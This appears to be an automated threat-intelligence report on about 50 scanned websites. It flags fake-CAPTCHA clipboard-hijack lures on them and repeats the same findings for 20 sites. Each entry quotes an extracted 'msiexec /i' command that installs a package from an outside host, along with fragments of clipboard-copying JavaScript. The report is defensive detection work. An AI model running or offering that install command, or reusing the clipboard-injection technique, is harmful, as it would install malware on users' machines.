Threat Intelligence Report

📅 December 04, 2025 🕒 Generated: 2025-12-04 02:31:32 🔍 Sites Analyzed: 50

⬇️ Download JSON Report 📁 View All Reports on GitHub

🌐

Total Sites Analyzed

⚠️

Malicious Sites

76.0% detection rate

💻

PowerShell Commands

📋

208

Clipboard Hijacks

📊

401

Avg Threat Score

Attack Pattern Analysis

High Risk Commands

103

Base64 Encoded

Obfuscated JS

Inline JS Redirects

External JS Chains

Redirect Follows

PowerShell Commands 9

Clipboard Hijacks 208

Base64 Encoded 103

CAPTCHA Elements 111

High Risk Commands 6

JS Redirects 11

Top Indicators/Keywords

robot (10) hidden (10) CAPTCHA Verification (8) I am not a robot (8) Robot (8) Verification (8) verification (8) verification-id (8) To better prove you are not a robot (8) Verification ID (7) verification id (7) Ray ID (7) ray id (7) Checking if you are human (7) Verify you are human (7)

Malicious Sites Detected

Click on a site to view detailed analysis

https://delix.misecretaria.com.ar

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://vizyons.dev

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://smartphotoedit.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://medicine.gsinds.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://cashloopmagazine.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://mojow-mobiliers.ch

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://itoyuu-meguro.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://3squaredco.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://hartvoorregelen.nl

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://win.prowebsite.live

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://invitriol.be

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://bhargavahospital.in

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://elizabethpastry.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://wellnesswisewhispers.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://elopharma.com.br

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://acosgalvao.com.br

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://zeloar.com.br

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://numerix360.pro

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://tennis-bandol.fr

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://qexmz.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

Showing top 20 malicious sites. 18 additional sites detected.